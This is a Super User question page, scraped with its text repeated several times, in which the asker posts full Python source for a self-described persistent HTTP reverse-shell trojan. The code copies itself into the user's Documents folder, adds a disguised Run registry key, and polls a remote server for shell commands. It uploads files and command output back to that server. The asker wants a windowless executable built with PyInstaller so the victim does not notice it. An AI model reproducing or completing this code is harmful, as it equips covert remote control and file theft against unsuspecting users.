Pyinstaller “Failed to execute script” error with --noconsole option












0















I've gone through all of Pyinstaller's debugging steps and I'm kind of at my wit's end here, which is why I'm turning to this.



I'm attempting to make the switch to Python3 by writing some simple custom pentesting tools, and I'm currently writing a persistent HTTP reverse shell trojan. The full code is below:



import requests
import subprocess
import time
import os
import shutil
import winreg

path = os.getcwd().strip('n')

null,userprof = subprocess.check_output('set USERPROFILE', shell=True).split(b'=')

destination = str(userprof.decode().strip('nr')) + '\Documents\' + 'persistence.exe'

if not os.path.exists(destination):
shutil.copyfile(path + 'persistence.exe', str(destination))
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,"SoftwareMicrosoftWindowsCurrentVersionRun",0,winreg.KEY_ALL_ACCESS)
winreg.SetValueEx(key,'RegUpdater',0,winreg.REG_SZ,destination)
key.Close()

while True:
req = requests.get('http://192.168.0.10')
command = req.text

if "terminate" in command:
break
elif 'grab' in command:
grab,path = command.split(" * ")
if os.path.exists(path):
url = 'http://192.168.0.10/store'
files = {'file': open(path, 'rb'),'path': path}
r = requests.post(url, files=files)
else:
post_response = requests.post(url='http://192.168.0.10',data='[-] Not able to find the file.')
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
post_response = requests.post(url='http://192.168.0.10', data=CMD.stdout.read())
post_response = requests.post(url='http://192.168.0.10', data=CMD.stderr.read())

time.sleep(3)


This script runs fine when executed with the python interpreter; it connects back to a server on a different machine using an HTTP GET request and installs itself in the user's Document's folder while also setting a Run key for persistence. Commands can then be executed on the server side and the output is transmitted through POST requests.



Obviously, I'd like to compile this into a standalone EXE to make it a true trojan. I can do this with the following command as specified in Pyinstaller's documentation:



pyinstaller --onefile persistence.py



This works just fine, the script runs without error as before whether when run from a terminal or clicked on. Unfortunately, it also opens an empty terminal window which is impossible to miss; obviously, this is an undesirable trait for a trojan. I wouldn't want to burden the user with another window on their screen!



The following should prevent that console window from opening:



pyinstaller --onefile --noconsole persistence.py



This command completes without error, but this time the script will not run. Whenever executed, regardless if it's clicked on or executed from a terminal, it kicks back a window saying "Failed to execute script persistence".



I have tried a huge amount of debugging to fix this. Adding --debug all to the freeze command doesn't seem to provide any useful information I can discern. I've been all through Google and through Pyinstaller's issues and I've seen a lot of stuff that seems to indicate an issue with the subprocess module and how STDIN and STDOUT are handled, but no amount of tinkering with my script and the subprocess.Popen calls (redirecting STDIN, STDOUT, and STDERR) seems to correct this issue. I always end up with an executable that throws "Failed to execute script".



I am running the current dev version of pyinstaller, I have tried it without packing (no dice), and I have even tried to manually remove the console window in the script itself with no success.



So I'm turning to you guys. Any ideas? Thanks very much for your time, and let me know if you need more information!!










share|improve this question

























  • I solved the problem myself! Turns out I just needed to follow the advice on this page a bit more closely: github.com/pyinstaller/pyinstaller/wiki/Recipe-subprocess

    – Ruri
    Jan 17 at 1:22
















0















I've gone through all of Pyinstaller's debugging steps and I'm kind of at my wit's end here, which is why I'm turning to this.



I'm attempting to make the switch to Python3 by writing some simple custom pentesting tools, and I'm currently writing a persistent HTTP reverse shell trojan. The full code is below:



import requests
import subprocess
import time
import os
import shutil
import winreg

path = os.getcwd().strip('n')

null,userprof = subprocess.check_output('set USERPROFILE', shell=True).split(b'=')

destination = str(userprof.decode().strip('nr')) + '\Documents\' + 'persistence.exe'

if not os.path.exists(destination):
shutil.copyfile(path + 'persistence.exe', str(destination))
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,"SoftwareMicrosoftWindowsCurrentVersionRun",0,winreg.KEY_ALL_ACCESS)
winreg.SetValueEx(key,'RegUpdater',0,winreg.REG_SZ,destination)
key.Close()

while True:
req = requests.get('http://192.168.0.10')
command = req.text

if "terminate" in command:
break
elif 'grab' in command:
grab,path = command.split(" * ")
if os.path.exists(path):
url = 'http://192.168.0.10/store'
files = {'file': open(path, 'rb'),'path': path}
r = requests.post(url, files=files)
else:
post_response = requests.post(url='http://192.168.0.10',data='[-] Not able to find the file.')
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
post_response = requests.post(url='http://192.168.0.10', data=CMD.stdout.read())
post_response = requests.post(url='http://192.168.0.10', data=CMD.stderr.read())

time.sleep(3)


This script runs fine when executed with the python interpreter; it connects back to a server on a different machine using an HTTP GET request and installs itself in the user's Document's folder while also setting a Run key for persistence. Commands can then be executed on the server side and the output is transmitted through POST requests.



Obviously, I'd like to compile this into a standalone EXE to make it a true trojan. I can do this with the following command as specified in Pyinstaller's documentation:



pyinstaller --onefile persistence.py



This works just fine, the script runs without error as before whether when run from a terminal or clicked on. Unfortunately, it also opens an empty terminal window which is impossible to miss; obviously, this is an undesirable trait for a trojan. I wouldn't want to burden the user with another window on their screen!



The following should prevent that console window from opening:



pyinstaller --onefile --noconsole persistence.py



This command completes without error, but this time the script will not run. Whenever executed, regardless if it's clicked on or executed from a terminal, it kicks back a window saying "Failed to execute script persistence".



I have tried a huge amount of debugging to fix this. Adding --debug all to the freeze command doesn't seem to provide any useful information I can discern. I've been all through Google and through Pyinstaller's issues and I've seen a lot of stuff that seems to indicate an issue with the subprocess module and how STDIN and STDOUT are handled, but no amount of tinkering with my script and the subprocess.Popen calls (redirecting STDIN, STDOUT, and STDERR) seems to correct this issue. I always end up with an executable that throws "Failed to execute script".



I am running the current dev version of pyinstaller, I have tried it without packing (no dice), and I have even tried to manually remove the console window in the script itself with no success.



So I'm turning to you guys. Any ideas? Thanks very much for your time, and let me know if you need more information!!










share|improve this question

























  • I solved the problem myself! Turns out I just needed to follow the advice on this page a bit more closely: github.com/pyinstaller/pyinstaller/wiki/Recipe-subprocess

    – Ruri
    Jan 17 at 1:22














0












0








0








I've gone through all of Pyinstaller's debugging steps and I'm kind of at my wit's end here, which is why I'm turning to this.



I'm attempting to make the switch to Python3 by writing some simple custom pentesting tools, and I'm currently writing a persistent HTTP reverse shell trojan. The full code is below:



import requests
import subprocess
import time
import os
import shutil
import winreg

path = os.getcwd().strip('n')

null,userprof = subprocess.check_output('set USERPROFILE', shell=True).split(b'=')

destination = str(userprof.decode().strip('nr')) + '\Documents\' + 'persistence.exe'

if not os.path.exists(destination):
shutil.copyfile(path + 'persistence.exe', str(destination))
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,"SoftwareMicrosoftWindowsCurrentVersionRun",0,winreg.KEY_ALL_ACCESS)
winreg.SetValueEx(key,'RegUpdater',0,winreg.REG_SZ,destination)
key.Close()

while True:
req = requests.get('http://192.168.0.10')
command = req.text

if "terminate" in command:
break
elif 'grab' in command:
grab,path = command.split(" * ")
if os.path.exists(path):
url = 'http://192.168.0.10/store'
files = {'file': open(path, 'rb'),'path': path}
r = requests.post(url, files=files)
else:
post_response = requests.post(url='http://192.168.0.10',data='[-] Not able to find the file.')
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
post_response = requests.post(url='http://192.168.0.10', data=CMD.stdout.read())
post_response = requests.post(url='http://192.168.0.10', data=CMD.stderr.read())

time.sleep(3)


This script runs fine when executed with the python interpreter; it connects back to a server on a different machine using an HTTP GET request and installs itself in the user's Document's folder while also setting a Run key for persistence. Commands can then be executed on the server side and the output is transmitted through POST requests.



Obviously, I'd like to compile this into a standalone EXE to make it a true trojan. I can do this with the following command as specified in Pyinstaller's documentation:



pyinstaller --onefile persistence.py



This works just fine, the script runs without error as before whether when run from a terminal or clicked on. Unfortunately, it also opens an empty terminal window which is impossible to miss; obviously, this is an undesirable trait for a trojan. I wouldn't want to burden the user with another window on their screen!



The following should prevent that console window from opening:



pyinstaller --onefile --noconsole persistence.py



This command completes without error, but this time the script will not run. Whenever executed, regardless if it's clicked on or executed from a terminal, it kicks back a window saying "Failed to execute script persistence".



I have tried a huge amount of debugging to fix this. Adding --debug all to the freeze command doesn't seem to provide any useful information I can discern. I've been all through Google and through Pyinstaller's issues and I've seen a lot of stuff that seems to indicate an issue with the subprocess module and how STDIN and STDOUT are handled, but no amount of tinkering with my script and the subprocess.Popen calls (redirecting STDIN, STDOUT, and STDERR) seems to correct this issue. I always end up with an executable that throws "Failed to execute script".



I am running the current dev version of pyinstaller, I have tried it without packing (no dice), and I have even tried to manually remove the console window in the script itself with no success.



So I'm turning to you guys. Any ideas? Thanks very much for your time, and let me know if you need more information!!










share|improve this question
















I've gone through all of Pyinstaller's debugging steps and I'm kind of at my wit's end here, which is why I'm turning to this.



I'm attempting to make the switch to Python3 by writing some simple custom pentesting tools, and I'm currently writing a persistent HTTP reverse shell trojan. The full code is below:



import requests
import subprocess
import time
import os
import shutil
import winreg

path = os.getcwd().strip('n')

null,userprof = subprocess.check_output('set USERPROFILE', shell=True).split(b'=')

destination = str(userprof.decode().strip('nr')) + '\Documents\' + 'persistence.exe'

if not os.path.exists(destination):
shutil.copyfile(path + 'persistence.exe', str(destination))
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,"SoftwareMicrosoftWindowsCurrentVersionRun",0,winreg.KEY_ALL_ACCESS)
winreg.SetValueEx(key,'RegUpdater',0,winreg.REG_SZ,destination)
key.Close()

while True:
req = requests.get('http://192.168.0.10')
command = req.text

if "terminate" in command:
break
elif 'grab' in command:
grab,path = command.split(" * ")
if os.path.exists(path):
url = 'http://192.168.0.10/store'
files = {'file': open(path, 'rb'),'path': path}
r = requests.post(url, files=files)
else:
post_response = requests.post(url='http://192.168.0.10',data='[-] Not able to find the file.')
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
post_response = requests.post(url='http://192.168.0.10', data=CMD.stdout.read())
post_response = requests.post(url='http://192.168.0.10', data=CMD.stderr.read())

time.sleep(3)


This script runs fine when executed with the python interpreter; it connects back to a server on a different machine using an HTTP GET request and installs itself in the user's Document's folder while also setting a Run key for persistence. Commands can then be executed on the server side and the output is transmitted through POST requests.



Obviously, I'd like to compile this into a standalone EXE to make it a true trojan. I can do this with the following command as specified in Pyinstaller's documentation:



pyinstaller --onefile persistence.py



This works just fine, the script runs without error as before whether when run from a terminal or clicked on. Unfortunately, it also opens an empty terminal window which is impossible to miss; obviously, this is an undesirable trait for a trojan. I wouldn't want to burden the user with another window on their screen!



The following should prevent that console window from opening:



pyinstaller --onefile --noconsole persistence.py



This command completes without error, but this time the script will not run. Whenever executed, regardless if it's clicked on or executed from a terminal, it kicks back a window saying "Failed to execute script persistence".



I have tried a huge amount of debugging to fix this. Adding --debug all to the freeze command doesn't seem to provide any useful information I can discern. I've been all through Google and through Pyinstaller's issues and I've seen a lot of stuff that seems to indicate an issue with the subprocess module and how STDIN and STDOUT are handled, but no amount of tinkering with my script and the subprocess.Popen calls (redirecting STDIN, STDOUT, and STDERR) seems to correct this issue. I always end up with an executable that throws "Failed to execute script".



I am running the current dev version of pyinstaller, I have tried it without packing (no dice), and I have even tried to manually remove the console window in the script itself with no success.



So I'm turning to you guys. Any ideas? Thanks very much for your time, and let me know if you need more information!!







python3






share|improve this question















share|improve this question













share|improve this question




share|improve this question








edited Jan 16 at 6:32







Ruri

















asked Jan 16 at 6:26









RuriRuri

11




11













  • I solved the problem myself! Turns out I just needed to follow the advice on this page a bit more closely: github.com/pyinstaller/pyinstaller/wiki/Recipe-subprocess

    – Ruri
    Jan 17 at 1:22



















  • I solved the problem myself! Turns out I just needed to follow the advice on this page a bit more closely: github.com/pyinstaller/pyinstaller/wiki/Recipe-subprocess

    – Ruri
    Jan 17 at 1:22

















I solved the problem myself! Turns out I just needed to follow the advice on this page a bit more closely: github.com/pyinstaller/pyinstaller/wiki/Recipe-subprocess

– Ruri
Jan 17 at 1:22





I solved the problem myself! Turns out I just needed to follow the advice on this page a bit more closely: github.com/pyinstaller/pyinstaller/wiki/Recipe-subprocess

– Ruri
Jan 17 at 1:22










0






active

oldest

votes











Your Answer








StackExchange.ready(function() {
var channelOptions = {
tags: "".split(" "),
id: "3"
};
initTagRenderer("".split(" "), "".split(" "), channelOptions);

StackExchange.using("externalEditor", function() {
// Have to fire editor after snippets, if snippets enabled
if (StackExchange.settings.snippets.snippetsEnabled) {
StackExchange.using("snippets", function() {
createEditor();
});
}
else {
createEditor();
}
});

function createEditor() {
StackExchange.prepareEditor({
heartbeatType: 'answer',
autoActivateHeartbeat: false,
convertImagesToLinks: true,
noModals: true,
showLowRepImageUploadWarning: true,
reputationToPostImages: 10,
bindNavPrevention: true,
postfix: "",
imageUploader: {
brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
allowUrls: true
},
onDemand: true,
discardSelector: ".discard-answer"
,immediatelyShowMarkdownHelp:true
});


}
});














draft saved

draft discarded


















StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fsuperuser.com%2fquestions%2f1394813%2fpyinstaller-failed-to-execute-script-error-with-noconsole-option%23new-answer', 'question_page');
}
);

Post as a guest















Required, but never shown

























0






active

oldest

votes








0






active

oldest

votes









active

oldest

votes






active

oldest

votes
















draft saved

draft discarded




















































Thanks for contributing an answer to Super User!


  • Please be sure to answer the question. Provide details and share your research!

But avoid



  • Asking for help, clarification, or responding to other answers.

  • Making statements based on opinion; back them up with references or personal experience.


To learn more, see our tips on writing great answers.




draft saved


draft discarded














StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fsuperuser.com%2fquestions%2f1394813%2fpyinstaller-failed-to-execute-script-error-with-noconsole-option%23new-answer', 'question_page');
}
);

Post as a guest















Required, but never shown





















































Required, but never shown














Required, but never shown












Required, but never shown







Required, but never shown

































Required, but never shown














Required, but never shown












Required, but never shown







Required, but never shown







Popular posts from this blog

How do I know what Microsoft account the skydrive app is syncing to?

When does type information flow backwards in C++?

Grease: Live!